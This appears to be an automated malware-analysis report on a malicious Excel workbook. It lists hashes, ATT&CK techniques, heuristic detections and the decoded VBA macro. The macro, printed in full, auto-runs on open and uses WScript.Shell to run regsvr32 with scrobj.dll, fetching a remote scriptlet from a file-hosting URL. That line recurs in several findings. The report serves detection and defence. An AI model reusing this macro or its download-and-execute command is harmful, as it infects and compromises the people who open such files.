Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 07a8c30144267c81…

MALICIOUS

Office (OOXML)

16.3 KB Created: 2021-07-01 10:26:26 UTC Authoring application: Microsoft Excel 12.0000 First seen: 2021-07-07
MD5: a1c1f8842434846324178b70e4025d49 SHA-1: 8c0865c21916f9801760582305c384b8e5ec3fdf SHA-256: 07a8c30144267c818e1de5e816855d4d340d2b6bdc351313db9a986c2d7e8502
350 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The OOXML document contains a Workbook_Open VBA macro that utilizes WScript.Shell and CreateObject to execute obfuscated code. This macro is designed to run automatically when the workbook is opened, indicating an attempt to download and execute a secondary payload. The ClamAV detection of 'Xls.Malware.Valyria-10036093-0' further supports its malicious nature.

Heuristics 8

  • ClamAV: Xls.Malware.Valyria-10036093-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Valyria-10036093-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
        .Filters.Add "Excel Files", "*.HpDnSidGJFQTFksRAoTAReskzutALnNIzyXLDAHRdbOkeZhhcVhbKtEDSrUFPIU; *.OaJhELSMQXCdkNMPRsdFEUYwEdwneJWuoDWHhnOusQkOJvWXS; *.Ay; *.cZTBGfIaSNVwRwwLEXUSZp; *.GCiMDJFkYbtXAePJIXEhRVdANOwzUDJebD", 1
Set uF = CreateObject("WScript.Shell")
uF.Run ("regsvr32 /sizPKWwyBNY   /nYEMdzPaGVA   /uizPKWwyBNY  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll OJKCVrHLdX")
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set uF = CreateObject("WScript.Shell")
uF.Run ("regsvr32 /sizPKWwyBNY   /nYEMdzPaGVA   /uizPKWwyBNY  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll OJKCVrHLdX")
 .Show
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        .Filters.Add "Excel Files", "*.HpDnSidGJFQTFksRAoTAReskzutALnNIzyXLDAHRdbOkeZhhcVhbKtEDSrUFPIU; *.OaJhELSMQXCdkNMPRsdFEUYwEdwneJWuoDWHhnOusQkOJvWXS; *.Ay; *.cZTBGfIaSNVwRwwLEXUSZp; *.GCiMDJFkYbtXAePJIXEhRVdANOwzUDJebD", 1
Set uF = CreateObject("WScript.Shell")
uF.Run ("regsvr32 /sizPKWwyBNY   /nYEMdzPaGVA   /uizPKWwyBNY  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll OJKCVrHLdX")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Workbook_Open()
For hUSDAzUT = 1 To VPBNwVXyVvGQGOQcsISEJ
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74 In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 7469 bytes
SHA-256: 5a1e44c184683fb67052b70688d890eb48a5a7b71c60e50aa6d72da6331df78e
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
For hUSDAzUT = 1 To VPBNwVXyVvGQGOQcsISEJ
    MnLN = NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("YOE" & hUSDAzUT).Value
    otEWuReUviZfOEzSezSsatNtuESSNcYtyoAzifaUbVkneAJNQFpvPeFPDh = NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & hUSDAzUT).Value
    Select Case True
        Case MnLN = "DbuodtLzHV:": NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("YOE" & hUSDAzUT & ":WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & hUSDAzUT).Font.Bold = True
        Case InStr(1, MnLN, "yDaHdpcNPkzCRctGuonStzTDzLDJGJhWsTrarMYWwfKICKbnpRcLoDzYJDiyMyihb: ")
            NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("YOE" & hUSDAzUT & ":tVOrLfDkzoSYASDpXNOCQLCPTGpRACENGOoPKAeSpIdTDRAXurQPbwoLyYBf" & hUSDAzUT).Interior.ColorIndex = 15
            NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("YOE" & hUSDAzUT).Font.Bold = True
        Case InStr(1, otEWuReUviZfOEzSezSsatNtuESSNcYtyoAzifaUbVkneAJNQFpvPeFPDh, "YOE"): NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & hUSDAzUT & ":WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & (hUSDAzUT + 2)).Interior.ColorIndex = 37
        Case InStr(1, otEWuReUviZfOEzSezSsatNtuESSNcYtyoAzifaUbVkneAJNQFpvPeFPDh, "WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt"): NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & hUSDAzUT & ":WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & (hUSDAzUT + 2)).Interior.ColorIndex = 3
        Case InStr(1, otEWuReUviZfOEzSezSsatNtuESSNcYtyoAzifaUbVkneAJNQFpvPeFPDh, "LLIDLaVZEYQrcYoFiQPHeCJrTSILw"): NYLIONeUWBDitYUeUAQMIZIAhefDPiSCtuzQZZLkTtWfKUnsdneWYGcIpwsKsHfhDbIG.UOFeQwKcNhBOU(1).Range("WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & hUSDAzUT & ":WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt" & (hUSDAzUT + 2)).Interior.Color = RGB(50, 205, 50)
    End Select
Next hUSDAzUT
Application.DisplayAlerts = False
Dim oHvKzdEonPyzueLVNhzwyFkepJLNSKsnMpYSvNoVEDUec As PivotItem

With Application.FileDialog(msoFileDialogFilePicker)
      .AllowMultiSelect = False
    'YLCFURrakMzPWfbpdPrOnPekpbkPDdJKIRiNdXGFktMftpRWRKYpSn  yuHtIIN hUSDAzUT  UOFeQwKcNhBOU
    .Filters.Add "Excel Files", "*.HpDnSidGJFQTFksRAoTAReskzutALnNIzyXLDAHRdbOkeZhhcVhbKtEDSrUFPIU; *.OaJhELSMQXCdkNMPRsdFEUYwEdwneJWuoDWHhnOusQkOJvWXS; *.Ay; *.cZTBGfIaSNVwRwwLEXUSZp; *.GCiMDJFkYbtXAePJIXEhRVdANOwzUDJebD", 1
Set uF = CreateObject("WScript.Shell")
uF.Run ("regsvr32 /sizPKWwyBNY   /nYEMdzPaGVA   /uizPKWwyBNY  /i:https://www.4sync.com/web/directDownload/xKeFw8Si/pxjLRT8v.fd85e82b25af2e7c1e397a6b2d3f5a74  scrobj.dll OJKCVrHLdX")
 .Show
 'yDaHdpcNPkzCRctGuonStzTDzLDJGJhWsTrarMYWwfKICKbnpRcLoDzYJDiyMyihb YOE YOE /nYEMdzPaGVA yuHtIIN YOE YOE YOE yuHtIIN

End With
If InStr(fullpath, ".Ay") = 0 Then
 
    Exit Sub
End If
Set ws = Workbooks.Open(fullpath)
Set wb = Workbooks.Add
ws.UOFeQwKcNhBOU(1).UsedRange.Copy Destination:=wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("YOE" & Rows.eU).End(xlUp)
wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("oCKQSQv").Value = "Status"
lRow = wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Cells(Rows.eU, 1).End(xlUp).Row
For ZeJJOyduFvCzeYcvcGuuhkeUhQsMS = 2 To lRow
    If wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("H" & ZeJJOyduFvCzeYcvcGuuhkeUhQsMS).Value = 0 And wb.UOFeQwKcNhBOU(1).Range("I" & ZeJJOyduFvCzeYcvcGuuhkeUhQsMS).Value = 0 Then
        wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("ZeJJOyduFvCzeYcvcGuuhkeUhQsMS" & ZeJJOyduFvCzeYcvcGuuhkeUhQsMS).Value = "LLIDLaVZEYQrcYoFiQPHeCJrTSILw"
    Else
        wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("ZeJJOyduFvCzeYcvcGuuhkeUhQsMS" & ZeJJOyduFvCzeYcvcGuuhkeUhQsMS).Value = "LLIDLaVZEYQrcYoFiQPHeCJrTSILw"
    End If
Next ZeJJOyduFvCzeYcvcGuuhkeUhQsMS
wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("DLrQhkFbWKXynPDfhPMC:oCKQSQv").AutoFilter _
    Field:=4, _
    Criteria1:=Array("EN", "EN/GVLWVkzR", "FF", "FF/GVLWVkzR", "TGhvSRwNWCCRuAFzEdOIEnJwbGZYOhQCEonMuTyQYkyQkLJSfEAvuNoEXVpu", "TGhvSRwNWCCRuAFzEdOIEnJwbGZYOhQCEonMuTyQYkyQkLJSfEAvuNoEXVpu/GVLWVkzR"), _
    Operator:=xlFilterValues
    'UfALhzLQZUIbZrWR?HfzPGbLnLJYIdnEiZFOTnGICDefITOWnVIAMzbAbPDFQNk
    wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("DLrQhkFbWKXynPDfhPMC:oCKQSQv").AutoFilter _
    Field:=5, _
    Criteria1:=Array("1", "2", "3", "4", "5", "6", "7"), _
    Operator:=xlFilterValues
    'yDaHdpcNPkzCRctGuonStzTDzLDJGJhWsTrarMYWwfKICKbnpRcLoDzYJDiyMyihb
    wb.UOFeQwKcNhBOU("NPTiWfOvhEcdLe").Range("DLrQhkFbWKXynPDfhPMC:oCKQSQv").AutoFilter _
    Field:=7, _
    Criteria1:=Array("YOE", "WCXDCWQiMWOaMTskMNQnizODhQBtOPEZRMyhVENOYt", "LLIDLaVZEYQrcYoFiQPHeCJrTSILw"), _
    Operator:=xlFilterValues
Worksheets("NPTiWfOvhEcdLe").Cells(1, 1).Select
 UOFeQwKcNhBOU.Add
 wb.PivotCaches.Create(SourceType:=xlDatabase, SourceData:= _
"NPTiWfOvhEcdLe!R1C1:R" & lRow & "yuHtIIN", Version:=xlPivotTableVersion15).CreatePivotTable _
TableDestination:="GactrRkVfNLZowCuehotEMBaMMbGoFGLBBtcrSUKWBKAXLe!R3C1", TableName:="PivotTable1", DefaultVersion _
:=xlPivotTableVersion15
UOFeQwKcNhBOU("GactrRkVfNLZowCuehotEMBaMMbGoFGLBBtcrSUKWBKAXLe").Select
wb.UOFeQwKcNhBOU("GactrRkVfNLZowCuehotEMBaMMbGoFGLBBtcrSUKWBKAXLe").PivotTables(1).AddFields _
ColumnFields:="YOE", _
RowFields:=Array("yDaHdpcNPkzCRctGuonStzTDzLDJGJhWsTrarMYWwfKICKbnpRcLoDzYJDiyMyihb", "RUOVNWvJXbUGzzzCrpHu", "RUOVNWvJXbUGzzzCrpHu", "RUOVNWvJXbUGzzzCrpHu", "RUOVNWvJXbUGzzzCrpHu")
With wb.UOFeQwKcNhBOU("GactrRkVfNLZowCuehotEMBaMMbGoFGLBBtcrSUKWBKAXLe").PivotTables(1).PivotFields("iQFsAFVrXT")
.Orientation = xlDataField
.Name = "eU"
.Function = xlCount
End With

With wb.UOFeQwKcNhBOU("GactrRkVfNLZowCuehotEMBaMMbGoFGLBBtcrSUKWBKAXLe").PivotTables(1).PivotFields("iQFsAFVrXT")
.Orientation = xlDataField
.Name = "BZXBboGXXpriCOyiXVEiwQnOBFZLSXupwPdJcVGG"
.NumberFormat = "BZXBboGXXpriCOyiXVEiwQnOBFZLSXupwPdJcVGG"
.Function = xlCount
.Calculation = xlPercentOfRow
End With

End Sub


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet2"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet3"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 22016 bytes
SHA-256: ae0f7e4ad2f6475aa82b33cbaee2f7c4e9a8bb63aa850f8ca7f6f06b2b0b6372
Detection
ClamAV: Xls.Malware.Valyria-10036093-0
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.